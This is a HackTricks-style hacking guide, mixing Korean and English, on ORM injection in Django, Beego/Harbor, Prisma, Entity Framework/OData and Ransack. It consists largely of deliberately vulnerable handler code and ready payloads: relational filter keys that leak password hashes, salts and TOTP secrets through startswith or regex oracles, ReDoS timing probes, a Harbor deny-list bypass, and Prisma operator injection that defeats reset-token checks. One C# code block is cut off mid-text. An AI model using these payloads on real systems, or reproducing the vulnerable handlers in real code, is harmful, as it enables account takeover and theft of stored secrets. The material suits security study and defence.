ORM Injection
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Django ORM (Python)
In this post 에서는 예를 들어 다음과 같은 코드를 사용해 Django ORM을 취약하게 만들 수 있는 방법을 설명한다:
class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
모든 request.data (which will be a json)가 직접 filter objects from the database에 전달되는 것을 주목하라. 공격자는 예상치 못한 filters를 보내 예상보다 더 많은 데이터를 leak할 수 있다.
Examples:
- Login: 간단한 Login에서는 내부에 등록된 사용자들의 passwords를 leak하려 시도할 수 있다.
{
"username": "admin",
"password_startswith": "a"
}
Caution
비밀번호가 leak될 때까지 brute-force할 수 있습니다.
- Relational filtering: 연관 관계를 따라가면서 해당 작업에서 사용될 것으로 예상되지 않았던 컬럼의 정보를 leak할 수 있습니다. 예를 들어, 다음과 같은 관계가 있을 때 사용자가 생성한 articles를 leak할 수 있습니다: Article(
created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}
Caution
게시물을 작성한 모든 사용자의 비밀번호를 찾을 수 있습니다
- Many-to-many relational filtering: 이전 예제에서는 게시물을 작성하지 않은 사용자들의 비밀번호를 찾을 수 없었습니다. 하지만 다른 관계를 따라가면 이것이 가능합니다. 예를 들어: Article(
created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}
Caution
이 경우 articles를 생성한 users의 부서(departments)에 있는 모든 users를 찾아 그들의 비밀번호를 leak할 수 있습니다 (이전 json에서는 usernames만 leak하고 있었지만 이후에는 passwords를 leak하는 것이 가능합니다).
- Abusing Django Group and Permission many-to-may relations with users: 또한 AbstractUser 모델은 Django에서 users를 생성하는 데 사용되며, 기본적으로 이 모델은 many-to-many relationships with the Permission and Group tables를 가지고 있습니다. 이는 같은 group에 있거나 동일한 permission을 공유하는 경우 한 user로부터 다른 users에 access other users from one user할 수 있는 기본 방법입니다.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- 필터 제한 우회: 같은 블로그 포스트는
articles = Article.objects.filter(is_secret=False, **request.data)같은 필터링을 우회하는 방법을 제안했다. 관계를 통해 Article 테이블로 역참조할 수 있어, 결과가 조인될 때 is_secret 필드는 비밀이 아닌 Article에서 검사되지만 실제 데이터는 비밀 Article에서 leak되므로 is_secret=True인 article들을 덤프할 수 있다.
Article.objects.filter(is_secret=False, categories__articles__id=2)
Caution
관계를 악용하면 표시되는 데이터를 보호하려는 필터조차 우회할 수 있습니다.
- Error/Time based via ReDoS: 이전 예제들에서는 필터가 작동했는지 여부에 따라 응답이 달라 이를 oracle로 사용한다고 가정했습니다. 하지만 데이터베이스에서 어떤 동작이 수행되어 응답이 항상 동일할 수 있습니다. 이 경우 데이터베이스 오류를 발생시켜 새로운 oracle을 얻을 수 있습니다.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
같은 게시물에서 이 벡터에 관해:
- SQLite: 기본적으로 regexp operator가 없다 (서드파티 확장 로드 필요)
- PostgreSQL: 기본 regex timeout이 없고 backtracking에 덜 취약하다
- MariaDB: regex timeout이 없다
Beego ORM (Go) & Harbor Filter Oracles
Beego는 Django의 field__operator DSL을 모방하므로, 사용자가 QuerySeter.Filter()의 첫 번째 인수를 제어할 수 있게 해주는 핸들러는 전체 관계 그래프를 노출시킨다:
qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
예를 들어 /search?filter=created_by__user__password__icontains=pbkdf 같은 요청은 앞의 Django primitives와 마찬가지로 외래 키를 통해 피벗할 수 있다. Harbor의 q 헬퍼는 사용자 입력을 Beego 필터로 파싱했기 때문에, 권한이 낮은 사용자가 목록 응답을 관찰하여 비밀을 탐색할 수 있었다:
GET /api/v2.0/users?q=password=~$argon2id$→ 어떤 해시가$argon2id$를 포함하는지 드러낸다.GET /api/v2.0/users?q=salt=~abc→ leaks salt substrings.
반환된 행 수를 세거나, 페이지네이션 메타데이터를 관찰하거나, 응답 길이를 비교하면 전체 hashes, salts, and TOTP seeds를 brute-force할 수 있는 오라클을 제공한다.
parseExprs로 Harbor의 패치 우회하기
Harbor는 민감한 필드를 filter:"false"로 태그하고 표현식의 첫 번째 세그먼트만 검증하도록 시도했다:
k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)
Beego’s internal parseExprs walks every __-delimited segment and, when the current segment is not a relation, it simply overwrites the target field with the next segment. Payloads such as email__password__startswith=foo therefore pass Harbor’s Filterable(email)=true check but execute as password__startswith=foo, bypassing 거부 목록.
v2.13.1 limited keys to a single separator, but Harbor’s own fuzzy-match builder appends operators after validation: q=email__password=~abc → Filter("email__password__icontains", "abc"). The ORM again interprets that as password__icontains. Beego apps that only inspect the first __ component or that append operators later in the request pipeline stay vulnerable to the same overwrite primitive and can still be abused as blind leak oracles.
Prisma ORM (NodeJS)
The following are tricks extracted from this post.
- Full find control:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
전체 javascript 본문이 prisma로 전달되어 쿼리를 수행하는 것을 확인할 수 있습니다.
원문 포스트의 예에서는, 이것이 모든 posts의 createdBy를 확인하여 그 사람의 사용자 정보(username, password…)도 반환하게 됩니다.
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
다음 것은 password를 가진 사용자가 생성한 모든 posts를 선택하고 password를 반환합니다:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- where 절 전체 제어:
공격자가 where 절을 제어할 수 있는 예제를 살펴보자:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
다음과 같이 사용자의 비밀번호를 직접 필터링할 수 있다:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
Caution
startsWith같은 연산을 사용하면 정보가 leak될 수 있습니다.
- Many-to-many relational filtering bypassing filtering:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
다음과 같이 Category -[*..*]-> Article 사이의 다대다 관계로 되돌아가면 미게시된 Article들을 leak할 수 있다:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
일부 loop back many-to-many relationships를 악용하면 모든 사용자를 leak할 수도 있습니다:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: 원문 포스트에서는 time based payload로 정보를 leak하기 위한 최적의 payload를 찾기 위해 수행된 매우 광범위한 테스트 집합을 확인할 수 있습니다. 다음과 같습니다:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
{CONTAINS_LIST}는 1000개의 문자열로 구성된 리스트로, 올바른 leak이 발견되었을 때 응답이 지연되도록 합니다.
Type confusion on where filters (operator injection)
Prisma’s query API는 원시 값(primitive values) 또는 operator 객체를 허용합니다. 핸들러가 요청 본문이 단순 문자열이라고 가정하고 이를 직접 where에 전달하면, 공격자는 인증 흐름에 operator를 주입하여 토큰 검사를 우회할 수 있습니다.
const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})
Common coercion vectors:
- JSON body (default
express.json()):{"resetToken":{"not":"E"},"password":"newpass"}⇒ token이E가 아닌 모든 사용자와 일치합니다. - URL-encoded body with
extended: true:resetToken[not]=E&password=newpassbecomes the same object. - Query string in Express <5 or with extended parsers:
/reset?resetToken[contains]=argon2leaks substring matches. - cookie-parser JSON cookies:
Cookie: resetToken=j:{"startsWith":"0x"}if cookies are forwarded to Prisma.
Because Prisma happily evaluates { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... }, etc., any equality check on secrets (reset tokens, API keys, magic links) can be widened into a predicate that succeeds without knowing the secret. 이걸 relational filters(createdBy)와 결합하면 피해자를 선택할 수 있습니다.
Look for flows where:
- Request schemas aren’t enforced, so nested objects survive deserialization.
- Extended body/query parsers stay enabled and accept bracket syntax.
- Handlers forward user JSON directly into Prisma instead of mapping onto allow-listed fields/operators.
Entity Framework & OData Filter Leaks
Reflection-based text helpers leak secrets
Microsoft TextFilter helper abused for leaks
```csharp IQueryable모든 문자열 속성을 열거하고 이를 .Contains(term)으로 감싸는 헬퍼는 엔드포인트를 호출할 수 있는 사용자에게 passwords, API tokens, salts, and TOTP secrets를 사실상 노출시킨다. Directus CVE-2025-64748는 directus_users 검색 엔드포인트가 생성된 LIKE 술어에 token과 tfa_secret을 포함시켜 결과 개수를 leak oracle로 바꾼 실제 사례다.
OData 비교 오라클
ASP.NET OData 컨트롤러는 종종 IQueryable<T>를 반환하고 $filter를 허용하는데, contains와 같은 함수들이 비활성화되어 있어도 마찬가지다. EDM이 해당 속성을 노출하는 한, 공격자는 여전히 그 속성에 대해 비교 연산을 수행할 수 있다:
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
결과의 존재 여부(또는 pagination metadata)는 데이터베이스의 collation(정렬 규칙)에 따라 각 문자를 이진 탐색(binary-search)할 수 있게 한다. Navigation properties (CreatedBy/Token, CreatedBy/User/Password)는 Django/Beego와 유사한 relational pivots을 가능하게 하므로, 민감한 필드를 노출하거나 속성별 deny-lists를 건너뛰는 EDM은 쉬운 표적이 된다.
사용자 문자열을 ORM 연산자로 변환하는 라이브러리 및 미들웨어(예: Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers)는 엄격한 필드/연산자 허용 목록(allow-lists)을 구현하지 않는 한 고위험 sink로 간주해야 한다.
Ransack (Ruby)
These tricks where found in this post.
Tip
Ransack 4.0.0.0부터는 검색 가능한 속성과 연관(associations)에 대해 명시적인 허용 목록(allow list)을 사용하도록 강제합니다.
취약한 예제:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
쿼리가 공격자가 전송한 매개변수에 의해 정의된다는 점에 주목하세요. 예를 들어 reset token을 brute-force할 수 있었습니다:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
By brute-forcing과 잠재적인 관계를 통해 데이터베이스에서 더 많은 데이터를 leak할 수 있었다.
Collation을 고려한 leak 전략
문자열 비교는 데이터베이스 collation을 상속하므로, leak oracles는 백엔드가 문자를 어떻게 정렬하는지에 맞춰 설계되어야 한다:
- Default MariaDB/MySQL/SQLite/MSSQL collations는 종종 대소문자를 구분하지 않으므로,
LIKE/=는a와A를 구분할 수 없다. 비밀의 대소문자가 중요할 경우 대소문자 구분 연산자(regex/GLOB/BINARY)를 사용하라. - Prisma 및 Entity Framework는 데이터베이스 정렬을 그대로 따른다. MSSQL의
SQL_Latin1_General_CP1_CI_AS같은 collations는 구두점(punctuation)을 숫자와 문자보다 앞에 배치하므로, 이진 탐색 프로브는 raw ASCII 바이트 순서 대신 그 정렬을 따라야 한다. - SQLite의
LIKE는 커스텀 collation이 등록되지 않은 한 대소문자를 구분하지 않으므로, Django/Beego leaks는 대소문자 구분 토큰을 복원하기 위해__regex조건이 필요할 수 있다.
실제 collation에 payloads를 보정하면 낭비되는 프로브를 줄이고 자동화된 substring/binary-search 공격의 속도를 크게 높일 수 있다.
References
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://www.elttam.com/blog/leaking-more-than-you-joined-for/
- https://positive.security/blog/ransack-data-exfiltration
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


